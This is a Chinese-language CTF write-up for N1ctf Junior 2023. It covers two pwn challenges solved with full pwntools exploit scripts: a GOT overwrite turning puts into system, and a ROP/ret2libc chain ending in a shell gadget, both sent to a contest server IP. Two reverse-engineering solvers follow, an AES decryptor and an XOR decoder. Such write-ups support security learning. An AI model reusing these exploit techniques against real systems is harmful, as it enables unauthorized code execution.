N1ctf Junior 2023 writeup

pwn

StudentManager

type confusion,size可为负数,从而实现任意地址写。先建一个name为/bin/sh的student,然后覆盖got表,puts改为system,最后show即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
#p=process('./StudentManager')
p=connect('39.102.55.191',9998)
elf=ELF('./StudentManager')
libc=ELF('./libc-2.31.so')
context.log_level='debug'
def add(name, size, content):
p.sendlineafter(b'>> ',b'1')
p.sendafter(b'Name: \n',name)
p.sendlineafter(b'Size: \n',str(size).encode())
p.sendafter(b'Description: \n',content)
def edit(idx, name, content):
p.sendlineafter(b'>> ',b'2')
p.sendlineafter(b'edit: \n',str(idx).encode())
p.sendafter(b'Name: \n',name)
p.sendafter(b'description: \n',content)
def show(idx):
p.sendlineafter(b'>> ',b'3')
p.sendlineafter(b'show: \n',str(idx).encode())
p.recvuntil(b'Name: \n')
add(b'a', 32, b'/bin/sh\x00')
edit(0,b'a'*16,b'/bin/sh\x00')
show(0)
p.recvuntil(b'a'*16)
pie_base=u64(p.recv(6)+b'\x00\x00')-17184
add(b'a', -0x340+0x18,b'a')
add(b'a', 32, b'\x20')
show(2)
p.recvuntil(b'Description: \n')
libc.address=u64(p.recv(6)+b'\x00\x00')-libc.sym['puts']
edit(2,b'a',p64(libc.sym['system']))
sleep(1)
p.sendline(b'3')
sleep(1)
p.sendline(b'0')
p.interactive()

gotclear

Partial RELRO,跟踪程序第一次调用库函数的过程,发现调用了0x401030开始的一些过程。因此ROP到这些函数即可重置got表为正确的地址。动调时发现似乎重置后会再调用一次对应的库函数(也有可能我没调对),因为此时参数多半不合法所以会导致puts, read等函数对应的syscall失败,但程序并不会崩溃,只要避免重置setbuf的got表即可。第一遍重置got表+泄露libc,返回到main函数中一个合适的地方,第二遍ret2libc即可。

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#p=process('./main')
p=connect('39.102.55.191',9999)
elf=ELF('./main')
libc=ELF('./libc-2.31.so')
context.log_level='debug'
p.send(b'a'*0x38+p64(0x401030)+p64(0x401050)+p64(0x401293)+p64(0x404018)+p64(0x40115d)+p64(0x404100)+p64(0x4011c5))
libc.address=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')-libc.sym['puts']
info(hex(libc.address))
binsh=next(libc.search(b'/bin/sh'))
p.send(b'a'*0x38+p64(0x40128c)+p64(0)*4+p64(libc.address+0xe3afe))
p.interactive()

reverse

junior_enc

题目给了具体的aes加密函数,写个对应的解密函数即可。程序中用unicorn跑了个arm架构shellcode,直接dump下来扔进IDA,两个异或+一个加减,明显可逆。注意程序中的hook,要patch一下dump下来code的两个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
# _*_ coding:utf-8 _*_
import random
import time

s = [[0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76],
[0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0],
[0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15],
[0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75],
[0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84],
[0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf],
[0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8],
[0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2],
[0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73],
[0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb],
[0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79],
[0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08],
[0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a],
[0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e],
[0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf],
[0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]]

re_s = [[0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb],
[0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb],
[0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e],
[0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25],
[0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92],
[0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84],
[0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06],
[0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b],
[0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73],
[0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e],
[0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b],
[0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4],
[0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f],
[0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef],
[0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61],
[0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]]


def sub_bytes(input_matrix):
output_matrix = [[0 for i in range(0, 4)] for _ in range(0, 4)]
for i in range(0, 4):
for j in range(0, 4):
x = int(bin(input_matrix[i][j])[2:].zfill(8)[:4], 2)
y = int(bin(input_matrix[i][j])[2:].zfill(8)[4:], 2)
output_matrix[i][j] = re_s[x][y]
return output_matrix


def T(vector, time):
Rcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]
vec = [0, 0, 0, 0]
for i in range(0, 4):
vec[i] = vector[(i+1) % 4]

for j in range(0, 4):
x = int(bin(vec[j])[2:].zfill(8)[:4], 2)
y = int(bin(vec[j])[2:].zfill(8)[4:], 2)
vec[j] = s[x][y]
vec[0] ^= Rcon[time-1]
return vec


def key_extend(init_key):
w = [[0 for m in range(0, 4)] for _ in range(0, 44)]
for i in range(0, 4):
for j in range(0, 4):
w[i][j] = init_key[i*4 + j]
time = 1
for row in range(4, 44):
if row % 4 != 0:
for yuan in range(0, 4):
w[row][yuan] = w[row-4][yuan] ^ w[row-1][yuan]
else:
t_w = T(w[row-1], time)
time += 1
for yuan in range(0, 4):
w[row][yuan] = w[row-4][yuan] ^ t_w[yuan]
return w


def row_move(input_matrix):
output_matrix = [[0 for i in range(0, 4)] for _ in range(0, 4)]
for i in range(0, 4):
output_matrix[0][i] = input_matrix[0][(i+3) % 4]
for i in range(0, 4):
output_matrix[1][i] = input_matrix[1][(i+2) % 4]
for i in range(0, 4):
output_matrix[2][i] = input_matrix[2][(i+1) % 4]
for i in range(0, 4):
output_matrix[3][i] = input_matrix[3][i]
return output_matrix


def GF_calculate(num1, num2):
sum = 0
num1 = bin(num1)[2:].zfill(8)
num2 = bin(num2)[2:].zfill(8)
table = [0b00000001, 0b00000010, 0b00000100, 0b00001000, 0b00010000, 0b00100000, 0b01000000, 0b10000000,
0b11011, 0b110110, 0b1101100, 0b11011000, 0b10101101, 0b1000111, 0b10001110]

for i in range(0, 8):
for j in range(0, 8):
if int(num1[i]) == 1 and int(num2[j]) == 1:
index_value = (7-i) + (7-j)
sum ^= table[index_value]
return sum


def col_mix(input_matrix):
col_m = [[2, 3, 1, 1], [1, 2, 3, 1], [1, 1, 2, 3], [3, 1, 1, 2]]
im = input_matrix
output_matrix = [[0 for i in range(0, 4)] for _ in range(0, 4)]
for i in range(0, 4):
for j in range(0, 4):
output_matrix[i][j] = GF_calculate(col_m[i][0], im[0][j]) ^ GF_calculate(col_m[i][1], im[1][j]) ^\
GF_calculate(col_m[i][2], im[2][j]) ^ GF_calculate(
col_m[i][3], im[3][j])
return output_matrix

def m_to_matrix(m):
m_matrix = [[0 for i in range(0, 4)] for i in range(0, 4)]
num = 0
for j in range(0, 4):
for i in range(0, 4):
m_matrix[i][j] = m[num]
num += 1
return m_matrix


def matrix_to_m(matrix):
m = []
for j in range(0, 4):
for i in range(0, 4):
m.append(matrix[i][j])
return bytes(m)


def aes_encrypt(key, m):
w = key_extend(key)
m_matrix = m_to_matrix(m)
for i in range(0, 4):
for j in range(0, 4):
m_matrix[i][j] ^= w[j][i]
for loop_time in range(1, 10):
m_matrix = sub_bytes(m_matrix)
m_matrix = row_move(m_matrix)
m_matrix = col_mix(m_matrix)
for i in range(0, 4):
for j in range(0, 4):
m_matrix[i][j] ^= w[j+4*loop_time][i]
m_matrix = sub_bytes(m_matrix)
m_matrix = row_move(m_matrix)
for i in range(0, 4):
for j in range(0, 4):
m_matrix[i][j] ^= w[j+4*10][i]
return matrix_to_m(m_matrix)

def rev_sub_bytes(input_matrix):
output_matrix = [[0 for i in range(0, 4)] for _ in range(0, 4)]
for i in range(0, 4):
for j in range(0, 4):
x = int(bin(input_matrix[i][j])[2:].zfill(8)[:4], 2)
y = int(bin(input_matrix[i][j])[2:].zfill(8)[4:], 2)
output_matrix[i][j] = s[x][y]
return output_matrix

def rev_col_mix(input_matrix):
return col_mix(col_mix(col_mix(input_matrix)))

def rev_row_move(input_matrix):
return row_move(row_move(row_move(input_matrix)))

def aes_decrypt(key, m):
w = key_extend(key)
m_matrix = m_to_matrix(m)
for i in range(4):
for j in range(4):
m_matrix[i][j] ^= w[j+4*10][i]
m_matrix = rev_row_move(m_matrix)
m_matrix = rev_sub_bytes(m_matrix)
for loop_time in range(9, 0, -1):
for i in range(0, 4):
for j in range(0, 4):
m_matrix[i][j] ^= w[j+4*loop_time][i]
m_matrix = rev_col_mix(m_matrix)
m_matrix = rev_row_move(m_matrix)
m_matrix = rev_sub_bytes(m_matrix)
for i in range(0, 4):
for j in range(0, 4):
m_matrix[i][j] ^= w[j][i]
return matrix_to_m(m_matrix)



def check_format(data):
if data.startswith('secpunk{'):
if data.endswith('}'):
if len(data) == 41:
print("Your flag format is correct!!! Continue to check your flag......")
else:
print("Sorry, Your flag doesn't have 41 characters")
exit(0)
else:
print("Sorry, Your flag doesn't end with }")
exit(0)
else:
print("Sorry, Your flag doesn't begin with secpunk{")
exit(0)


if __name__ == '__main__':
ret=[0]*32
seed = 0xdeadbeef
random.seed(seed)
key = [random.randint(97, 122) for i in range(16)]
cmp = [61, 182, 175, 175, 2, 168, 124, 177, 32, 240, 230, 220, 58, 123, 165, 238, 53, 192, 237, 21, 175, 91, 224, 150, 133, 153, 54, 203, 79, 33, 193, 172]
ret[:16] = list(aes_decrypt(bytes(key), cmp[:16]))
ret[16:] = list(aes_decrypt(bytes(key), cmp[16:]))
for m in range(31,0,-1):
ret[m] ^= ret[m-1]
for m in range(0, 32, 2):
ret[m],ret[m+1]=ret[m+1],ret[m]
for m in range(32):
if (m&1)!=0:
ret[m]-=8
assert(ret[m]>=0)
else:
ret[m]-=18
assert(ret[m]>=0)

for m in range(31,-1,-1):
ret[m] ^= ret[(m+1)%32]
for i in ret:
print(chr(i),end='')

n0th1ngG0

赛中没看明白是哪个算法,赛后才知道是rc4。不过分析程序加密逻辑会发现就是个按字节异或,这里有个比较方便的办法,把程序最后用来比较的字节dump下来,再次运行程序,直接把加密后字节改到输入部分,跑一遍加密函数再看内存,就出了。也可以选择动调,把与之异或的key给dump下来,不过似乎那些字节不在连续的内存空间上,我直接下断点看寄存器把字节抄出来了。

1
2
3
4
enc=[0x51,0x23,0x48,0x73,0x13,0x50,0x2C,0x63,0x61,0xBA,0x60,0x2E,0x54,0x65,0x29,0x66,0x81,0xAB,0x87,0x34,0x1A,0xD0,0x71,0xAE,0xA7,0xE8,0xAC,0xCC,0xEC,0x75,0x56,0xFB,0x79,0x05]
xor=[0x22,0x46,0x2b,0x03,0x66,0x3e,0x47,0x18,0x2f,0x8b,0x3f,0x64,0x01,0x0b,0x18,0x56,0xf3,0xf4,0xb5,0x04,0x28,0xe3,0x2e,0x9f,0xd4,0xb7,0x98,0xbb,0xdf,0x06,0x66,0x96,0x4a,0x78]
for i in range(len(enc)):
print(chr(enc[i]^xor[i]),end='')